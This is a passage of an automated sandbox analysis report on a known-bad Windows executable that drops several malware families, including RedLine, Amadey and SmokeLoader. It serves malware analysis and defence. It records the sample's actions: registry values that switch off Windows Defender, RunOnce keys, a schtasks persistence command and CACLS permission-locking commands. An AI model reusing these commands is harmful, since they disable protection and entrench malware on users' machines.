Analysis Overview
SHA256
3a38b442e5943fc91da9dfc20beba22560217bcfde63e5432220d2fc285a9635
Threat Level: Known bad
The file 3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe was found to be: Known bad.
Malicious Activity Summary
Glupteba payload
SmokeLoader
Healer
Amadey
SectopRAT
Detects Healer an antivirus disabler dropper
Modifies Windows Defender Real-time Protection settings
SectopRAT payload
RedLine payload
Glupteba
DcRat
RedLine
Modifies Windows Firewall
Downloads MZ/PE file
Stops running service(s)
Checks computer location settings
Windows security modification
Loads dropped DLL
Executes dropped EXE
Legitimate hosting services abused for malware hosting/C2
Checks installed software on the system
Adds Run key to start application
Suspicious use of SetThreadContext
Launches sc.exe
Drops file in Program Files directory
Enumerates physical storage devices
Program crash
Unsigned PE
Suspicious behavior: MapViewOfSection
Suspicious behavior: GetForegroundWindowSpam
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of WriteProcessMemory
Runs net.exe
Suspicious use of SetWindowsHookEx
Creates scheduled task(s)
Enumerates system info in registry
Suspicious use of SendNotifyMessage
Checks SCSI registry key(s)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-03 23:56
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-03 23:56
Reported
2023-11-03 23:58
Platform
win10v2004-20231020-en
Max time kernel
70s
Max time network
155s
Command Line
Signatures
Amadey
DcRat
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Detects Healer an antivirus disabler dropper
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Glupteba
Glupteba payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Healer
Modifies Windows Defender Real-time Protection settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
SmokeLoader
Downloads MZ/PE file
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Stops running service(s)
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7137.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\8966.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\kos4.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7B5A.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7B5A.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
Windows security modification
| Description | Indicator | Process | Target |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\3F75.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\uL6Fa5TM.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Sd7uw5fi.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup5 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\Hq3gO0Jh.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe | N/A |
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1880 set thread context of 4216 | N/A | C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1vI31WE5.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File created | C:\Program Files (x86)\BBuster\unins000.dat | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-LL0I2.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-E1Q36.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-6CKO1.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Plugins\is-LRA99.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-MJE00.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Plugins\is-H8NPM.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\is-M6OEK.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File opened for modification | C:\Program Files (x86)\BBuster\BBuster.exe | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-LGEB3.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-19925.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-L52I5.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-C4G8P.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-R34A4.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-IIQ4S.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-ERBPJ.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-4D46L.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-97NC9.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-N8EB3.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Plugins\is-LCST2.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File opened for modification | C:\Program Files (x86)\BBuster\unins000.dat | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-4SUPA.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-2SK8H.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-34KEF.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-22QIQ.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-1I1L8.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-9GN4T.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Online\is-KJLLE.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\is-I27DS.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-T0PP2.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Lang\is-M9JIN.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Online\is-7QJJU.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Help\is-CLAC2.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
| File created | C:\Program Files (x86)\BBuster\Plugins\is-BAE9E.tmp | C:\Users\Admin\AppData\Local\Temp\is-54VPJ.tmp\is-GHQOU.tmp | N/A |
Launches sc.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
| N/A | N/A | C:\Windows\System32\sc.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\7B5A.exe |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Runs net.exe
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious behavior: GetForegroundWindowSpam
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\kos4.exe | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\7F14.exe | N/A |
| Token: 33 | N/A | C:\Windows\system32\AUDIODG.EXE | N/A |
| Token: SeIncBasePriorityPrivilege | N/A | C:\Windows\system32\AUDIODG.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
| Token: SeCreatePagefilePrivilege | N/A | N/A | N/A |
| Token: SeShutdownPrivilege | N/A | N/A | N/A |
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\Broom.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe
"C:\Users\Admin\AppData\Local\Temp\3a38b442e5943fc91da9dfc20beba22560217bcfde63e.exe"
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\v7822687.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\v1106597.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\a3425420.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\b8792114.exe
C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe
"C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe"
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\c5767668.exe
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN pdates.exe /TR "C:\Users\Admin\AppData\Local\Temp\925e7e99c5\pdates.exe" /F
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "pdates.exe" /P "Admin:N"&&CACLS "pdates.exe" /P "Admin:R" /E&&echo Y|CACLS "..\925e7e99c5" /P "Admin:N"&&CACLS "..\925e7e99c5" /P "Admin:R" /E&&Exit
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "pdates.exe" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "pdates.exe" /P "Admin:R" /E
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\925e7e99c5" /P "Admin:N"
C:\Windows\SysWOW64\cacls.exe
CACLS "..\925e7e99c5" /P "Admin:R" /E
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\d8698530.exe
C:\Users\Admin\AppData\Local\Temp\3F75.exe
C:\Users\Admin\AppData\Local\Temp\3F75.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe
C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\En1HV4Ys.exe
